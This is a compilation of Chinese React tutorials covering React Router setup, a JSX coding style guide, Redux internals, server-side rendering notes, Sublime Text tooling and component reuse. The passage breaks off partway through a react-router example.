然后是配置路由

    var routes = (
        <R.Route path="/" handler={Main}>
            <R.DefaultRoute handler={IndexPage} />
            <R.Route path=":id" handler={DetailPage} />
        </R.Route>
    );

这里使用 Main 作为根路由处理器，默认路由也就是 #/ 的时候。渲染 IndexPage，所以把 IndexPage 作为默认路由（DefaultRoute）处理器。下一层路由是详情页面，只需要给个路径参数 :id，用 DetailPage 作处理器即可。

最后启动路由处理器

    R.run(routes, function(Handler, state) {
        React.render(<Handler params={state.params} />, document.body);
    });

处理器的回调函数中，第 1 个参数 Handler，就是在配置路由的时候给的根 handler 属性，即对 Main 封装而成的处理函数。而 state 表示了当前路由的状态，包括路径，参数等。其中 state.params 就是路由参数。通过 props.params 传递给 Main，再由 Main 通过 props.params 传递给 RouteHandler……

至于 React Router 是怎么处理各个路由的，这里不深入研究。有兴趣的同学可以去研究 React Router 的源码。

修改 detail.jsx

经过上面对 app.jsx 的修改，跑起来已经没有问题了。问题在于详情页面显示的总是“查无此人”。

之前的详情页面在加载数据的时候会根据 hash 来筛选数据，当时的 hash 像这样：#1001。而现在 React Router 会将 hash 规范化处理成 #/1001。因此只需要将原来的

"#" + p.id === window.location.hash;

改成

"#/" + p.id === window.location.hash;

就好。

之前自定义的 router 就定义了路由参数，并且可以通过处理参数的形参获取，再通过 props 传递给组件。但是因为偷懒，直接在组件内部通过处理 hash 来获取了。简单的路径这么处理没有问题，但是复杂的路径处理起来就比较复杂了，所以还是应该用现成的。所以现在改用路由参数来筛选数据。

前面提到 React Router 一般是用 props.params 来传递参数，所以在 DetailPage 中可以通过 this.props.params.id 来获取 ID 参数。

componentDidMount: function() {
    var id = this.props.params.id;          // <--
    $.getJSON("/js/data.json").then(function(data) {
        if (this.isMounted()) {
            this.setState({
                person: data.filter(function(p) {
                    return p.id === id;     // <--
                })[0]
            });
        }
    }.bind(this));
}
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Coding Style(编码风格)

Basic Rules(基本原则)


	每个文件中只包含一个React组件。


	尽可能地使用JSX语法。


	除非不用JSX语法创建一个应用，否则不要使用React.createElement方法。




Component(组件规范)

Class 与 React.createClass方法

尽可能地使用ES6中的类的语法，除非有特殊的对于Mixin的需求。

// bad
const Listing = React.createClass({
  render() {
    return <div />;
  }
});

// good
class Listing extends React.Component {
  render() {
    return <div />;
  }
}

组件命名


	扩展名：使用.jsx作为React组件的扩展名。


	文件名：使用帕斯卡命名法命名文件，譬如ReservationCard.jsx。


	引用命名：使用帕斯卡命名法命名组件和camelCase命名实例。




// bad
const reservationCard = require('./ReservationCard');

// good
const ReservationCard = require('./ReservationCard');

// bad
const ReservationItem = <ReservationCard />;

// good
const reservationItem = <ReservationCard />;

Declaration(声明)

	不要使用displayName来命名组件，而使用引用。




// bad
export default React.createClass({
  displayName: 'ReservationCard',
  // stuff goes here
});

// good
export default class ReservationCard extends React.Component {
}

Props

	对于Props的命名使用camelCase。




// bad
<Foo
  UserName="hello"
  phone_number={12345678}
/>

// good
<Foo
  userName="hello"
  phoneNumber={12345678}
/>

	将Props或者State的声明写在类外。




import React, { Component, PropTypes } from 'react';

const propTypes = {
  id: PropTypes.number.isRequired,
  url: PropTypes.string.isRequired,
  text: PropTypes.string,
};

const defaultProps = {
  text: 'Hello World',
};

export default class Link extends Component {
  static methodsAreOk() {
    return true;
  }

  render() {
    return <a href={this.props.url} data-id={this.props.id}>{this.props.text}</a>
  }
}

Link.propTypes = propTypes;
Link.defaultProps = defaultProps;

JSX(JSX规范)

Alignment(对齐)

	跟随如下的JSX的语法




// bad
<Foo superLongParam="bar"
     anotherSuperLongParam="baz" />

// good
<Foo
  superLongParam="bar"
  anotherSuperLongParam="baz"
/>

// if props fit in one line then keep it on the same line
<Foo bar="bar" />

// children get indented normally
<Foo
  superLongParam="bar"
  anotherSuperLongParam="baz"
>
  <Spazz />
</Foo>

Quotes

对于JSX的属性用双引号表示，对于其他属性，用单引号表示。

// bad
<Foo bar='bar' />

// good
<Foo bar="bar" />

// bad
<Foo style={{ left: "20px" }} />

// good
<Foo style={{ left: '20px' }} />

Spacing(空格)

	在自闭合的标签中仅使用单空格。




// bad
<Foo/>

// very bad
<Foo                 />

// bad
<Foo
 />

// good
<Foo />

多段

	当JSX包含多行代码时，将它们包含在小括号中。




/// bad
render() {
  return <MyComponent className="long body" foo="bar">
           <MyChild />
         </MyComponent>;
}

// good
render() {
  return (
    <MyComponent className="long body" foo="bar">
      <MyChild />
    </MyComponent>
  );
}

// good, when single line
render() {
  const body = <div>hello</div>;
  return <MyComponent>{body}</MyComponent>;
}

Methods

Naming(方法命名)

	对于一个React组件的内部方法，不要使用下划线作为前缀。




// bad
React.createClass({
  _onClickSubmit() {
    // do stuff
  }

  // other stuff
});

// good
class extends React.Component {
  onClickSubmit() {
    // do stuff
  }

  // other stuff
});

Ordering(顺序)




	React.Component子类


	constructor


	optional static methods


	getChildContext


	componentWillMount


	componentDidMount


	componentWillReceiveProps


	shouldComponentUpdate


	componentWillUpdate





	componentDidUpdate
10. componentWillUnmount
11. clickHandlers or eventHandlers like onClickSubmit() or onChangeDescription()
12. getter methods for render like getSelectReason() or getFooterContent()
13. Optional render methods like renderNavigation() or renderProfilePicture()
14. render


	React.createClass





	displayName


	propTypes


	contextTypes


	childContextTypes


	mixins


	statics


	defaultProps


	getDefaultProps


	getInitialState
10. getChildContext
11. componentWillMount
12. componentDidMount
13. componentWillReceiveProps
14. shouldComponentUpdate
15. componentWillUpdate
16. componentDidUpdate
17. componentWillUnmount
18. clickHandlers or eventHandlers like onClickSubmit() or onChangeDescription()
19. getter methods for render like getSelectReason() or getFooterContent()
20. Optional render methods like renderNavigation() or renderProfilePicture()
21. render
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前言

redux并不局限于flux与react。redux 自身保持简洁以便适配各种场景，让社区发展出各种 redux-* 中间件或者插件，从而形成它自己的生态系统。

主要关系


	reducer 声明了state的初始值，以及当前state接受action对象之后处理为new state的逻辑。


	createStore接受reducer作为参数，返回产生的store，store其实是一个含有state的闭包，以及提供将action分发给reducer的dispatch方法。


	applyMiddlewares方法接受n个middlewares作为参数返回一个用于渲染creatorStore函数的方法。


	applyMiddleware可以向actionCreator提供store.dispatch以及getState方法，用以增强actionCreator的能力




store主要包含以下三个核心方法:


	subscribe  注册store更新之后的回调函数


	getState        获取store当前state的引用，切记直接修改返回的结果


	dispatch        将action按顺序经过各middle处理后派发给reducer




action 流程图



createStore

createStore是根据reducer中的规则创建store的方法。

特性


	提供dispatch


	subscribe


	getState        // getState拿到的是state的引用！不要直接修改


	提供初始值initialState




源码

//此处为示意，不是 redux 的源码本身
export default createStore(reducer, initialState) {
    //闭包私有变量
    let currentState = initialState
    let currentReducer = reducer
    let listeners = []

    //返回一个包含可访问闭包变量的公有方法
    return {
        getState() {
            return currentState //返回当前 state
        },
        subscribe(listener) {
            let index = listeners.length
            listeners.push(listener) //缓存 listener
            return () => listeners.splice(i, 1) //返回删除该 listener 的函数
        },
        dispatch(action) {
            //更新 currentState
            currentState = currentReducer(currentState, action)
            // 可以看到这里并没有用到eventEmitter等
            listeners.slice().forEach(listener => listener())
            return action //返回 action 对象
        }
    }
}

action

action有以下特点：


	pure object


	描述reducer响应的事件类型


	携带所需要的数据




actionCreator

用于描述action的dispatch的逻辑。


	action的重用


	数据的预处理


	action的特殊处理逻辑




reducer

reducer应该是是一个无副作用函数，以当前的state以及action为参数，返回新的state。
每次返回一个新State的好处是在shouldComponentUpdate过程中可以使用高性能的shallow equal。


	pure function


	接受initialState


	don't modify the state!!!




//reducer 接受两个参数，全局数据对象 state 以及 action 函数返回的 action 对象
//返回新的全局数据对象 new state
export default (state, action) => {
    switch (action.type) {
        case A:
        return handleA(state)
        case B:
        return handleB(state)
        case C:
        return handleC(state)
        default:
        return state //如果没有匹配上就直接返回原 state
    }
}

combineReducers

将一个reducer map转换为一个reducer。方便对复杂的reducer进行功能拆分。

problem


	state 结构太复杂


	希望根据对应的component进行维护




how to use

var reducers = {
    todos: (state, action) { //预期此处的 state 参数是全局 state.todos 属性
        switch (action.type) {...} //返回的 new state 更新到全局 state.todos 属性中
    },
    activeFilter: (state, action) { //预期拿到 state.activeFilter 作为此处的 state
        switch (action.type) {...} //new state 更新到全局 state.activeFilter 属性中
    }
}

//返回一个 rootReducer 函数
//在内部将 reducers.todos 函数的返回值，挂到 state.todos 中
//在内部将 reducers.activeFilter 函数的返回值，挂到 state.activeFilter 中
var rootReducer = combineReducers(reducers)

源码

//combination 函数是 combineReducers(reducers) 的返回值，它是真正的 rootReducer
//finalReducers 是 combineReducers(reducers) 的 reducers 对象去掉非函数属性的产物
 //mapValue 把 finalReducers 对象里的函数，映射到相同 key 值的新对象中
function combination(state = defaultState, action) {
    var finalState = mapValues(finalReducers, (reducer, key) => {
      var newState = reducer(state[key], action); //这里调用子 reducer
      if (typeof newState === 'undefined') {
        throw new Error(getErrorMessage(key, action));
      }
      return newState; //返回新的子 state
    });
    //...省略一些业务无关的代码
    return finalState; //返回新 state
 };

function mapValues(obj, fn) {
  return Object.keys(obj).reduce((result, key) => {
    result[key] = fn(obj[key], key);
    return result;
  }, {});
}


applyMiddleWares

problem


	异步action


	promise


	个性化 action 响应


	log




描述

接受 middleWares 将 store 修饰为使用了 middlwares 的 store，其实是用被高阶函数修饰过的dispatch替换掉了原来的dispatch。

usage

var craeteStoreWithMiddleWare = applyMiddleWare(thunk)(createStore);
//redux-thunk
export default function thunkMiddleware({ dispatch, getState }) {
  return next => action =>
    typeof action === 'function' ? // action 居然是函数而不是 plain object？
      action(dispatch, getState) : //在中间件里消化掉，让该函数控制 dispatch 时机
      next(action); //否则调用 next 让其他中间件处理其他类型的 action
}

源码

这里的composeMiddleware可能不是很好理解，这里有一个简单的例子方便大家理解。http://jsbin.com/xalunadofa/1/edit?js,console。 compose可以理解为倒叙一层层打包的过程，因此最后调用composedFunction的时候会顺序进入各个middlewares。

function applyMiddleware(...middlewares) {
  return next => (...args) => {
    const store = next(...args);
    const middleware = composeMiddleware(...middlewares);

      // dispatch 被middlWare修饰
    function dispatch(action) {
      const methods = {
        dispatch,
        getState: store.getState
      };

      return compose(
        middleware(methods),
        store.dispatch
      )(action);
    }

      // 返回新的store dispatch被新的dispatch替代
    return {
      ...store,
      dispatch
    };
  };
}


bindActionCreator

源码

//将 actionCreator 跟 dispatch 绑定在一起
let bindActionCreator => (actionCreator, dispatch) {
  return (...args) => dispatch(actionCreator(...args));
}

function bindActionCreators(actionCreators, dispatch) {
  if (typeof actionCreators === 'function') { //如果是单个 actionCreator，绑定一词
    return bindActionCreator(actionCreators, dispatch);
  }
  //返回一个改造过的「函数组合」
  return mapValues(actionCreators, actionCreator =>
    bindActionCreator(actionCreator, dispatch)
  )
}

connector

connector 接受mapStateToProps, mapDispatchToProps, Component 三个参数，返回一个能够自动关联store中state以及dispatch事件的smart component

由于connector代码过长，只对重要的几个函数进行说明。
connetor函数接受的两个参数指明从store的state中挑选哪些作为props，以及将哪些actionCreator绑定到porps中。
订阅store的change事件，当store更新时计算新的state，与旧state进行浅对比，如果不同则更新state，并render，否则不进行render。

    // 根据从store中select的state以及dispatch绑定的actionCreator计算新的props
   computeNextState(props = this.props) {
     return computeNextState(
       this.stateProps,
       this.dispatchProps,
       props
     );
   }

    // 与旧值进行shallow equal
   updateState(props = this.props) {
     const nextState = this.computeNextState(props);
     if (!shallowEqual(nextState, this.state.props)) {
       this.setState({
         props: nextState
       });
     }
   }

    // 订阅change事件
   trySubscribe() {
     if (shouldSubscribe && !this.unsubscribe) {
       this.unsubscribe = this.store.subscribe(::this.handleChange);
       this.handleChange();
     }
   }

   tryUnsubscribe() {
     if (this.unsubscribe) {
       this.unsubscribe();
       this.unsubscribe = null;
     }
   }

   componentDidMount() {
     this.trySubscribe();
   }


   componentWillUnmount() {
     this.tryUnsubscribe();
   }

   handleChange() {
     if (!this.unsubscribe) {
       return;
     }

     if (this.updateStateProps()) {
       this.updateState();
     }
   }


结语

欢迎大家发起pr完善文档，进行讨论。

参考资料


	深入到源码：解读 redux 的设计思路与用法


	redux git book
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简聊代码用了 React 存在, 存在加载缓慢的问题. 一些表单页面也会受到影响

于是开始尝试做服务端渲染, 方便在打开时能更快渲染页面

JavaScript 代码以 defer 模式等待页面渲染完成, 然后开始加载


脚手架和打包相关的代码我做了整理托管在 Teambition GitHub 上
https://github.com/teambition/isomorphic-webapp-example

另外一些注意点在下边做一些笔记


服务端渲染



	checksum 问题



React 在服务端渲染之后, 会在根节点生成一个 checksum 用于校验

同时 React 在浏览器端也会进行一次判断, 看 HTML 内容和客户端渲染是否一致

一般都用 React 不会出问题, 但是比如空白符, 或者内容不一致, 就会给出提示



	script defer 执行



为了 JavaScript 延迟加载, 可以用 defer 属性指明, 或者直接把标签放在 <body> 后边

因为我们渲染的 HTML 是直接把 <body> 替换的, 所以用 defer 完成了功能



	上线之后 CSS 加载问题



实际使用虽然 Webpack 能够打包 CSS, 但是页面加载时的效果不能缺少 CSS

所以 CSS 实际上还是应该跟着 HTML 的 <header> 一起加载的

这个实际上会影响打包的复杂度, 在我的例子当中, 所以使用了一个 CSS 文件



	初始化数据



JavaScript 的初始化数据使用 HTML 形式的 <script> 方式写入变量, 客户端运行过程读取


JSX


初始 HTML 内容, 也就是 <body> 外面的部分, 不属于 React Component

但也可以用 React 的方式写, 不过要注意 <!DOCTYPE HTML> 在 React 中不存在



	script 标签关闭方式



JSX 语法类似 XML, 标签都是需要关闭的



	body 周围空白符验证



生成的 HTML 不要有随便的空格或者换行, 否则会出现警告

即便是挂载的 React 组件外面有空格, 也会出现警告



	stir-template



https://github.com/mvc-works/stir-template
stir 是个小模块, 我用来生成 HTML, 语法类似 React, 但仅仅用于生成字符串

这种写法在 CoffeeScript 当中写起来会比较清晰, 对于 JavaScript 用户开发不是很必要

因为个人原因, 部分 HTML 代码会使用 CirruScript 书写, 避免一些特殊符号, 区别一下就好了


Webpack


代码热替换方案比较啰嗦, 目前的用法主要参考这篇文章
http://kevinold.com/2015/02/04/configure-webpack-dev-server-and-react-...

具体涉及打包等等, 看开头我们仓库当中给出的例子


前后端共用代码



	特殊代码的 try




前后端共享代码对于有些库来说还是会麻烦, 我们遇到的是一些 jQuery 组件没有做好判断

原理上我们应该 fork 代码提供一个两种环境都能运行的版本

实际操作中部分代码我们临时用了 try 语句捕捉 Node 环境当中的错误

目前尝试的项目很小, 未来这个问题应该会凸显, 需要注意一下


 Sublime Text 3 搭建 React.js 开发环境

作者：whatif

来源： Sublime Text 3 搭建 React.js 开发环境



                    
Sublime有很强的自定义功能，插件库很庞大，针对新语言插件更新很快，配合使用可以快速搭建适配语言的开发环境。

1. babel-sublime


支持ES6， React.js, jsx代码高亮，对 JavaScript, jQuery 也有很好的扩展。关于 babel 的更多介绍可以看这里：为什么说Babel将推动JavaScript的发展

安装


	PC：Ctrl+shift+p


	Mac：Cmd+shift+p




打开面板输入babel安装

配置


	打开.js, .jsx 后缀的文件;


	打开菜单view， Syntax -> Open all with current extension as... -> Babel -> JavaScript (Babel)，选择babel为默认 javascript 打开syntax




2. 代码审查(jsxhint或eslint)

A. 使用eslint(SublimeLinter-eslint)

es6正式发布后，加上facebook官方将react的编译器转成了babel，react+es6的简明写法成了开发者首选，linter也由jshint向eslint转换。airbnb的react开发代码规范也是得到许多开发者的点赞，这里也使用这个比较大众的语法规范。

安装


	使用npm安装：npm install --save-dev eslint-config-airbnb eslint-plugin-import eslint-plugin-react eslint-plugin-jsx-a11y eslint;


	terminal(建议在开发根目录)输入eslint --init, 按提示选择后，生成.eslintrc:





当然.eslintrc文件也可以手动调整参数：

{
  "extends": "airbnb",
  "env": {
    "browser": true,
    "jQuery": true,
    "node": true
  },
 "plugins": [
    "react"
 ], 
  "globals": {
    "jQuery": 1
  },
  "rules": {
    "no-var": 0,
    comma-dangle: ["error", "never"]
  }
}

B. 使用sublimeLinter-jsxhint


常用于编写默认react语法的JSX 代码审查，实时提示语法错误, 帮助快速定位错误点.



安装


	PC上ctrl+shift+p（MacCmd+shift+p）打开面板输入sublimeLinter-jsx安装(依赖于 sublimeLinter)


	安装 node.js


	安装 jsxhint


	install -g jsxhint




3. 修改 Emmet 兼容jsx 文件

emmet 作为前端开发必备插件之一非常方便快捷，默认情况下使用快捷键ctrl+e可以自动扩展成适应于react的className形式。而使用tab来默认拓展则需要通过修改sublime快捷键，如下所示：



安装

PC上ctrl+shift+p（MacCmd+shift+p）打开面板输入emmet安装

使用方法

打开 preferences -> Key bindings - Users，把下面代码复制到[]内部。

{
  "keys": ["tab"], 
  "command": "expand_abbreviation_by_tab", 

  // put comma-separated syntax selectors for which 
  // you want to expandEmmet abbreviations into "operand" key 
  // instead of SCOPE_SELECTOR.
  // Examples: source.js, text.html - source
  "context": [
    {
      "operand": "source.js", 
      "operator": "equal", 
      "match_all": true, 
      "key": "selector"
    }, 

    // run only if there's no selected text
    {
      "match_all": true, 
      "key": "selection_empty"
    },

    // don't work if there are active tabstops
    {
      "operator": "equal", 
      "operand": false, 
      "match_all": true, 
      "key": "has_next_field"
    }, 

    // don't work if completion popup is visible and you
    // want to insert completion with Tab. If you want to
    // expand Emmet with Tab even if popup is visible -- 
    // remove this section
    {
      "operand": false, 
      "operator": "equal", 
      "match_all": true, 
      "key": "auto_complete_visible"
    }, 
    {
      "match_all": true, 
      "key": "is_abbreviation"
    }
  ]
},

注：以上规则来源于emmet-sublime文档。

4. JsFormat 格式化 js 代码

jsformat  是 sublime 上 js 格式化比较好用的插件之一，通过修改它的e4x 属性可以使它支持 jsx。

安装

PC上ctrl+shift+p（MacCmd+shift+p）打开面板输入JsFormat安装.

使用

打开preferences -> Package Settings -> JsFormat -> Setting - Users,输入以下代码：

{
  "e4x": true,
  // jsformat options
  "format_on_save": true,
}

即可保存时自动格式化，并支持 jsx 类型文件.

5. 编译 jsx

	
使用babel-sublime
  带有编译 jsx 的命令 babel build。使用 babel 编译 jsx 也由 React 项目官方引用。该命令依赖于 node 包 babel。babel 同时也支持 ES6的新语法经过编译在浏览器中运用。

npm install -g babel





在 sublime 中使用ctrl+shift+p打开面板输入babel transform自动编译成 react.js 文件

	
使用自动化构建工具（gulp|grunt 等）
  以 gulp 为例(依赖 gulp,需提前安装)：

npm install gulp-babel 

/**
 * babel
 */
var gulp = require('gulp'),
  babel = require('gulp-babel');
gulp.task('babel', function() {
  return gulp.src('./src/**/*.jsx')
    .pipe(babel())
    .pipe(gulp.dest('./dist'));
});

在命令行中输入 gulp babel 运行

配合 BrowserSync 使用可以实时监测改动并同步刷新多平台上得浏览器。

npm install gulp-babel gulp-plumber gulp-notify gulp-cached browser-sync run-sequence





/**
 *  babel
 */
var gulp = require('gulp'),
  babel = require('gulp-babel'),
  bs = require('browser-sync').create(),
  reload = bs.reload,
  runSequence = require('run-sequence').use(gulp),
  src = 'src', //源目录路径
  dist = 'dist'; //输出路径
gulp.task('babel', function() {
  var onError = function(err) {
    notify.onError({
      title: "Gulp",
      subtitle: "Failure!",
      message: "Error: <%= error.message %>",
      sound: "Beep"
    })(err);
  };

  return gulp.src(src + '/**/*.jsx')
    .pipe(cached('react')) //把所有东西放入缓存中，每次只编译修改过的文件
    .pipe(plumber({ //发生错误时不会中断 gulp 的流程，同时触发 notify 消息提示
      errorHandler: onError
    }))
    .pipe(babel())
    .pipe(gulp.dest(dist));
});

// Start the server
gulp.task('bs', function() {
  var files;

  files = [
    src + '/**/*.+(html|php|js|css|png|jpg|svg|gif)'
  ];

  bs.init(files, {
   server: {
     baseDir: src,
   }
  });
});

gulp.task('server', ['babel','bs'], function() {
  gulp.watch(src + '/**/*.jsx', function() {
    runSequence('babel', reload);
    });
  })

在命令行中输入 gulp server 运行。

或者使用 sublime 自带的 build 工具，选择Tools -> Build System -> New Build System
输入:

{
    "shell_cmd": "gulp server --cwd $file_path"
}

并保存为 gulpBabel.sublime-build(名称随意，保持.sublime-build后缀名)，存放到Packages - Users文件夹里面，在 sublime 中使用ctrl+shift+b（或Tools -> Build With ..）打开 build 面板，选择刚刚输入的名称，在这里是gulpBabel运行。


 React学习笔记—组件复用

作者：小俞

来源： React学习笔记—组件复用



                    
当我们在设计接口的时候，将一些常见的设计元素（如按钮、表单、布局等）拆分成有着良好接口的可重用的组件。这样的话，下次你构建UI的时候只要写少量的代码。


属性校验


随着应用的增长，确保你的组件正确使用是有必要的。React允许我们指定propTypes。React.PropTypes声明了一系列的校验确保我们接收的数据是合法的。如果不合法的数据出现在属性当中，控制台会打印警告信息。下面是不同的校验类型：


React.createClass({
  propTypes: {
    // You can declare that a prop is a specific JS primitive. By default, these
    // are all optional.
    optionalArray: React.PropTypes.array,
    optionalBool: React.PropTypes.bool,
    optionalFunc: React.PropTypes.func,
    optionalNumber: React.PropTypes.number,
    optionalObject: React.PropTypes.object,
    optionalString: React.PropTypes.string,

    // Anything that can be rendered: numbers, strings, elements or an array
    // containing these types.
    optionalNode: React.PropTypes.node,

    // A React element.
    optionalElement: React.PropTypes.element,

    // You can also declare that a prop is an instance of a class. This uses
    // JS's instanceof operator.
    optionalMessage: React.PropTypes.instanceOf(Message),

    // You can ensure that your prop is limited to specific values by treating
    // it as an enum.
    optionalEnum: React.PropTypes.oneOf(['News', 'Photos']),

    // An object that could be one of many types
    optionalUnion: React.PropTypes.oneOfType([
      React.PropTypes.string,
      React.PropTypes.number,
      React.PropTypes.instanceOf(Message)
    ]),

    // An array of a certain type
    optionalArrayOf: React.PropTypes.arrayOf(React.PropTypes.number),

    // An object with property values of a certain type
    optionalObjectOf: React.PropTypes.objectOf(React.PropTypes.number),

    // An object taking on a particular shape
    optionalObjectWithShape: React.PropTypes.shape({
      color: React.PropTypes.string,
      fontSize: React.PropTypes.number
    }),

    // You can chain any of the above with `isRequired` to make sure a warning
    // is shown if the prop isn't provided.
    requiredFunc: React.PropTypes.func.isRequired,

    // A value of any data type
    requiredAny: React.PropTypes.any.isRequired,

    // You can also specify a custom validator. It should return an Error
    // object if the validation fails. Don't `console.warn` or throw, as this
    // won't work inside `oneOfType`.
    customProp: function(props, propName, componentName) {
      if (!/matchme/.test(props[propName])) {
        return new Error('Validation failed!');
      }
    }
  },
  /* ... */
});



属性默认值


React允许我们下面的方式自定义属性的默认值：


var ComponentWithDefaultProps = React.createClass({
  getDefaultProps: function() {
    return {
      value: 'default value'
    };
  }
  /* ... */
});



getDefaultProps()的值将会被缓存，当this.props.value的值没有被父组件指定时，将会使用这个默认值。


属性转移


通过属性延伸的语法，可以快速的将组件属性添加到HTML标签上：


var CheckLink = React.createClass({
  render: function() {
    // This takes any props passed to CheckLink and copies them to <a>
    return <a {...this.props}></a>;
  }
});

React.render(
  <CheckLink href="/checked.html">
    Click here!
  </CheckLink>,
  document.getElementById('example')
);



需要注意的是，这种写法会添加所有的属性。当标签内容为空时，children也会被添加其中。上面的例子是一个很好的实践。


混入


在React当中，组件复用能够减少我们的代码量。但有时候不同的组件之间可能会相同的功能点。这个通常被叫做Cross-cutting concern。React提供了混入来解决这个问题。

官方举例说明的一种情况：一个组件，每隔一段时间更新一次。很容易就想到使用setInterval()，当不需要的时候需要取消Interval。React提供了组件生命周期的方法告诉我们组件什么时候被创建和销毁。根据这些创建一个简单的混入：


var SetIntervalMixin = {
  componentWillMount: function() {
    this.intervals = [];
  },
  setInterval: function() {
    this.intervals.push(setInterval.apply(null, arguments));
  },
  componentWillUnmount: function() {
    this.intervals.map(clearInterval);
  }
};

var TickTock = React.createClass({
  mixins: [SetIntervalMixin], // Use the mixin
  getInitialState: function() {
    return {seconds: 0};
  },
  componentDidMount: function() {
    this.setInterval(this.tick, 1000); // Call a method on the mixin
  },
  tick: function() {
    this.setState({seconds: this.state.seconds + 1});
  },
  render: function() {
    return (
      <p>
        React has been running for {this.state.seconds} seconds.
      </p>
    );
  }
});

React.render(
  <TickTock />,
  document.getElementById('example')
);



 深入理解 react-router 路由系统

作者：Hongchun

来源： 深入理解 react-router 路由系统



                    
在 web 应用开发中，路由系统是不可或缺的一部分。在浏览器当前的 URL 发生变化时，路由系统会做出一些响应，用来保证用户界面与 URL 的同步。随着单页应用时代的到来，为之服务的前端路由系统也相继出现了。有一些独立的第三方路由系统，比如 director，代码库也比较轻量。当然，主流的前端框架也都有自己的路由，比如 Backbone、Ember、Angular、React 等等。那 react-router 相对于其他路由系统又针对 React 做了哪些优化呢？它是如何利用了 React 的 UI 状态机特性呢？又是如何将 JSX 这种声明式的特性用在路由中？

一个简单的示例

现在，我们通过一个简易的博客系统示例来解释刚刚遇到的疑问，它包含了查看文章归档、文章详细、登录、退出以及权限校验几个功能，该系统的完整代码托管在 JS Bin（注意，文中示例代码使用了与之对应的 ES6 语法），你可以点击链接查看。此外，该实例全部基于最新的 react-router 1.0 进行编写。下面看一下 react-router 的应用实例：

import React from 'react';
import { render, findDOMNode } from 'react-dom';
import { Router, Route, Link, IndexRoute, Redirect } from 'react-router';
import { createHistory, createHashHistory, useBasename } from 'history';

// 此处用于添加根路径
const history = useBasename(createHashHistory)({
  queryKey: '_key',
  basename: '/blog-app',
});

React.render((
  <Router history={history}>
    <Route path="/" component={BlogApp}>
      <IndexRoute component={SignIn}/>
      <Route path="signIn" component={SignIn}/>
      <Route path="signOut" component={SignOut}/>
      <Redirect from="/archives" to="/archives/posts"/>
      <Route onEnter={requireAuth} path="archives" component={Archives}>
        <Route path="posts" components={{
          original: Original,
          reproduce: Reproduce,
        }}/>
      </Route>
      <Route path="article/:id" component={Article}/>
      <Route path="about" component={About}/>
    </Route>
  </Router>
), document.getElementById('example'));

如果你以前并没有接触过 react-router，相反只是用过刚才提到的 Backbone 的路由或者是 director，你一定会对这种声明式的写法感到惊讶。不过细想这也是情理之中，毕竟是只服务与 React 类库，引入它的特性也是无可厚非。仔细看一下，你会发现：


	Router 与 Route 一样都是 react 组件，它的 history 对象是整个路由系统的核心，它暴漏了很多属性和方法在路由系统中使用；


	Route 的 path 属性表示路由组件所对应的路径，可以是绝对或相对路径，相对路径可继承；


	Redirect 是一个重定向组件，有 from 和 to 两个属性；


	Route 的 onEnter 钩子将用于在渲染对象的组件前做拦截操作，比如验证权限；


	在 Route 中，可以使用 component 指定单个组件，或者通过 components 指定多个组件集合；


	param 通过 /:param 的方式传递，这种写法与 express 以及 ruby on rails 保持一致，符合 RestFul 规范；




下面再看一下如果使用 director 来声明这个路由系统会是怎样一番景象呢：

import React from 'react';
import { render } from 'react-dom';
import { Router } from 'director';

const App = React.createClass({
  getInitialState() {
    return {
      app: null
    } 
  },

  componentDidMount() {
    const router = Router({
      '/signIn': {
        on() {
          this.setState({ app: (<BlogApp><SignIn/></BlogApp>) })
        },
      },
      '/signOut': {
        结构与 signIn 类似
      },
      '/archives': {
        '/posts': {
          on() {
            this.setState({ app: (<BlogApp><Archives original={Original} reproduct={Reproduct}/></BlogApp>) })
          },
        },
      },
      '/article': {
        '/:id': {
          on (id) {
            this.setState({ app: (<BlogApp><Article id={id}/></BlogApp>) })
          },
        },
      },
    });
  },

  render() {
    return <div>{React.cloneElement(this.state.app)}</div>;
  },
})
render(<App/>, document.getElementById('example'));

从代码的优雅程度、可读性以及维护性上看绝对 react-router 在这里更胜一筹。分析上面的代码，每个路由的渲染逻辑都相对独立的，这样就需要写很多重复的代码，这里虽然可以借助 React 的 setState 来统一管理路由返回的组件，将 render 方法做一定的封装，但结果却是要多维护一个 state，在 react-router 中这一步根本不需要。此外，这种命令式的写法与 React 代码放在一起也是略显突兀。而 react-router 中的声明式写法在组件继承上确实很清晰易懂，而且更加符合 React 的风格。包括这里的默认路由、重定向等等都使用了这种声明式。相信读到这里你已经放弃了在 React 中使用 react-router 外的路由系统！

接下来，还是回到 react-router 示例中，看一下路由组件内部的代码：

const SignIn = React.createClass({
  handleSubmit(e) {
    e.preventDefault();
    const email = findDOMNode(this.refs.name).value;
    const pass = findDOMNode(this.refs.pass).value;
    // 此处通过修改 localStorage 模拟了登录效果
    if (pass !== 'password') {
      return;
    }
    localStorage.setItem('login', 'true');
    const location = this.props.location;
    if (location.state && location.state.nextPathname) {
      this.props.history.replaceState(null, location.state.nextPathname);
    } else {
      // 这里使用 replaceState 方法做了跳转，但在浏览器历史中不会多一条记录，因为是替换了当前的记录
      this.props.history.replaceState(null, '/about');
    }
  },

  render() {
    if (hasLogin()) {
      return <p>你已经登录系统！<Link to="/signOut">点此退出</Link></p>;
    }
    return (
      <form onSubmit={this.handleSubmit}>
        <label><input ref="name"/></label><br/>
        <label><input ref="pass"/></label> (password)<br/>
        <button type="submit">登录</button>
      </form>
    );
  }
});

const SignOut = React.createClass({
  componentDidMount() {
    localStorage.setItem('login', 'false');
  },

  render() {
    return <p>已经退出！</p>;
  }
})

上面的代码表示了博客系统的登录以及退出功能。登录成功，默认跳转到 /about 路径下，如果在 state 对象中存储了 nextPathname，则跳转到该路径下。在这里需要指出每一个路由（Route）中声明的组件（比如 SignIn）在渲染之前都会被传入一些 props，具体是在源码中的 RoutingContext.js 中完成，主要包括：


	history 对象，它提供了很多有用的方法可以在路由系统中使用，比如刚刚用到的 history.replaceState，用于替换当前的 URL，并且会将被替换的 URL 在浏览器历史中删除。函数的第一个参数是 state 对象，第二个是路径；


	location 对象，它可以简单的认为是 URL 的对象形式表示，这里要提的是 location.state，这里 state 的含义与 HTML5 history.pushState API 中的 state 对象一样。每个 URL 都会对应一个 state 对象，你可以在对象里存储数据，但这个数据却不会出现在 URL 中。实际上，数据被存在了 sessionStorage 中；




事实上，刚才提到的两个对象同时存在于路由组件的 context 中，你还可以通过 React 的 context API 在组件的子级组件中获取到这两个对象。比如在 SignIn 组件的内部又包含了一个 SignInChild 组件，你就可以在组件内部通过 this.context.history 获取到 history 对象，进而调用它的 API 进行跳转等操作。

接下来，我们一起看一下 Archives 组件内部的代码：

const Archives = React.createClass({
  render() {
    return (
      <div>
        原创：<br/> {this.props.original}
